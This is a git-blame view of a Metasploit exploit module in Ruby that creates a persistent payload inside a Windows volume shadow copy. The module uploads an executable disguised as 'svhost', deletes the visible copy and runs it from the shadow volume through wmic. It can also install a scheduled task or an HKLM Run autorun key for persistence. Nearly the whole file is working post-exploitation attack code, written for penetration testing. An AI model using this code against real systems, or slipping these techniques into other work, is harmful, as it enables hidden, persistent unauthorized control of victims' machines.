Files
metasploit-gs/modules/exploits/windows/local/vss_persistence.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

223 lines
7.5 KiB
Ruby
Raw Normal View History

2013-10-10 17:20:09 -07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-21 13:36:15 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-10-10 17:20:09 -07:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2013-10-15 11:11:04 -05:00
Rank = ExcellentRanking
2013-10-10 17:20:09 -07:00
include Msf::Post::File
include Msf::Post::Windows::ShadowCopy
include Msf::Post::Windows::Registry
2013-10-15 11:11:04 -05:00
include Msf::Exploit::EXE
include Msf::Post::Windows::TaskScheduler
2013-10-10 17:20:09 -07:00
2021-08-27 17:15:33 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Persistent Payload in Windows Volume Shadow Copy',
2021-08-27 17:15:33 +01:00
'Description' => %q{
This module will attempt to create a persistent payload in a new volume shadow copy. This is
based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has
been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY
option, the user should need password in order to start session on the target machine.
},
'Author' => ['Jedediah Rodriguez <Jedi.rodriguez[at]gmail.com>'], # @MrXors
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [ [ 'Microsoft Windows', {} ] ],
2021-08-27 17:15:33 +01:00
'DefaultTarget' => 0,
'References' => [
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://web.archive.org/web/20201111212952/https://securityweekly.com/2011/11/02/safely-dumping-hashes-from-liv/' ],
2021-08-27 17:15:33 +01:00
[ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']
],
'DisclosureDate' => '2011-10-21',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_sysinfo
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
2021-08-27 17:15:33 +01:00
)
)
2013-10-14 19:36:44 -07:00
2013-10-10 17:20:09 -07:00
register_options(
[
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']),
2013-10-14 19:36:44 -07:00
OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]),
OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]),
OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]),
OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]),
OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]),
2021-08-27 17:15:33 +01:00
]
)
# All these task scheduler options are already managed by the module or are not possible (e.i. remote task scheduling)
deregister_options('ScheduleType', 'ScheduleModifier', 'ScheduleRemoteSystem', 'ScheduleUsername', 'SchedulePassword')
2013-10-10 17:20:09 -07:00
end
2013-10-14 00:12:37 -07:00
2013-10-15 11:11:04 -05:00
def exploit
@clean_up = ''
2013-10-14 19:36:44 -07:00
print_status('Checking requirements...')
2013-10-14 19:36:44 -07:00
2013-10-14 00:12:37 -07:00
unless is_admin?
print_error('This module requires admin privs to run')
2013-10-14 00:12:37 -07:00
return
end
2013-10-14 19:36:44 -07:00
unless is_high_integrity?
print_error('This module requires UAC to be bypassed first')
2013-10-14 00:12:37 -07:00
return
end
2013-10-14 19:36:44 -07:00
print_status('Starting Volume Shadow Service...')
2013-10-14 00:12:37 -07:00
unless start_vss
print_error('Unable to start the Volume Shadow Service')
2013-10-14 00:12:37 -07:00
return
end
2013-10-14 19:36:44 -07:00
print_status('Uploading payload...')
2013-10-15 11:11:04 -05:00
remote_file = upload(datastore['RPATH'])
2013-10-14 19:36:44 -07:00
print_status('Creating Shadow Volume Copy...')
2013-10-14 19:36:44 -07:00
unless volume_shadow_copy
fail_with(Failure::Unknown, 'Failed to create a new shadow copy')
2013-10-14 19:36:44 -07:00
end
print_status('Finding the Shadow Copy Volume...')
2013-10-14 00:12:37 -07:00
volume_data_id = []
cmd = 'cmd.exe /c vssadmin List Shadows| find "Shadow Copy Volume"'
2013-10-14 00:12:37 -07:00
output = cmd_exec(cmd)
output.each_line do |line|
cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match(line.to_s)
volume_data_id = cmd_regex.to_s
2013-10-14 00:12:37 -07:00
end
2013-10-14 19:36:44 -07:00
print_status('Deleting malware...')
2013-10-14 19:36:44 -07:00
file_rm(remote_file)
if datastore['EXECUTE']
2013-10-14 19:36:44 -07:00
print_status("Executing #{remote_file}...")
execute(volume_data_id, remote_file)
end
if datastore['SCHTASK']
print_status('Creating Scheduled Task...')
2013-10-14 19:36:44 -07:00
schtasks(volume_data_id, remote_file)
end
if datastore['RUNKEY']
print_status('Installing as autorun in the registry...')
2013-10-14 19:36:44 -07:00
install_registry(volume_data_id, remote_file)
end
unless @clean_up.empty?
log_file
end
2013-10-14 00:12:37 -07:00
end
def upload(trg_loc = '')
if trg_loc.nil? || trg_loc.empty?
location = '\\Windows\\Temp'
2013-10-10 17:20:09 -07:00
else
2013-10-14 19:36:44 -07:00
location = trg_loc
end
2021-08-27 17:15:33 +01:00
file_name = "svhost#{rand(100)}.exe"
2013-10-14 19:36:44 -07:00
file_on_target = "#{location}\\#{file_name}"
2013-10-15 11:11:04 -05:00
exe = generate_payload_exe
2013-10-14 19:36:44 -07:00
begin
write_file(file_on_target.to_s, exe)
2013-10-14 19:36:44 -07:00
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
2013-10-10 17:20:09 -07:00
end
2013-10-14 19:36:44 -07:00
return file_on_target
2013-10-14 00:12:37 -07:00
end
2013-10-11 14:17:50 -07:00
2013-10-14 00:12:37 -07:00
def volume_shadow_copy
begin
id = create_shadowcopy(datastore['VOLUME'])
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
2013-10-10 17:20:09 -07:00
end
2013-10-14 19:36:44 -07:00
2013-10-10 17:20:09 -07:00
if id
2013-10-14 00:12:37 -07:00
return true
else
return false
2013-10-10 17:20:09 -07:00
end
2013-10-14 00:12:37 -07:00
end
2013-10-11 14:17:50 -07:00
2013-10-14 19:36:44 -07:00
def execute(volume_id, exe_path)
run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
cmd_exec(run_cmd)
2013-10-14 00:12:37 -07:00
end
2013-10-11 14:17:50 -07:00
TaskSch = Msf::Post::Windows::TaskScheduler
2013-10-14 19:36:44 -07:00
def schtasks(volume_id, exe_path)
sch_name = Rex::Text.rand_text_alpha(rand(8..15))
global_root = "\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
begin
task_create(sch_name, global_root, { task_type: 'MINUTE', modifier: datastore['DELAY'] })
rescue TaskSchedulerObfuscationError => e
print_warning(e.message)
print_good('Task created without obfuscation')
rescue TaskSchedulerError => e
print_error("Task creation error: #{e}")
return
else
print_good('Task created')
if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
@clean_up << "reg setval -k '#{TaskSch::TASK_REG_KEY.gsub('\\') { '\\\\' }}\\\\#{sch_name}' "\
"-v '#{TaskSch::TASK_SD_REG_VALUE}' "\
"-d '#{TaskSch::DEFAULT_SD}' "\
"-t 'REG_BINARY'#{" -w '64'" unless @old_os}\n"
end
end
2013-10-14 19:36:44 -07:00
@clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n"
2013-10-14 00:12:37 -07:00
end
2013-10-11 14:17:50 -07:00
2013-10-14 19:36:44 -07:00
def install_registry(volume_id, exe_path)
2021-08-27 17:15:33 +01:00
global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
nam = Rex::Text.rand_text_alpha(rand(8..15))
hklm_key = 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'
2013-10-14 19:36:44 -07:00
print_status("Installing into autorun as #{hklm_key}\\#{nam}")
res = registry_setvaldata(hklm_key.to_s, nam, global_root.to_s, 'REG_SZ')
2013-10-14 19:36:44 -07:00
if res
print_good("Installed into autorun as #{hklm_key}\\#{nam}")
@clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n"
2013-10-14 00:12:37 -07:00
else
print_error('Error: failed to open the registry key for writing')
2013-10-10 17:20:09 -07:00
end
end
2013-10-11 14:17:50 -07:00
2013-10-14 00:12:37 -07:00
def clean_data
host = session.sys.config.sysinfo['Computer']
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
2021-08-27 17:15:33 +01:00
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
2013-10-14 00:12:37 -07:00
::FileUtils.mkdir_p(logs)
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'
2013-10-14 00:12:37 -07:00
return logfile
2013-10-10 17:20:09 -07:00
end
2013-10-11 14:17:50 -07:00
2013-10-14 00:12:37 -07:00
def log_file
clean_rc = clean_data
2013-10-14 00:12:37 -07:00
file_local_write(clean_rc, @clean_up)
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
end
2013-10-10 17:20:09 -07:00
end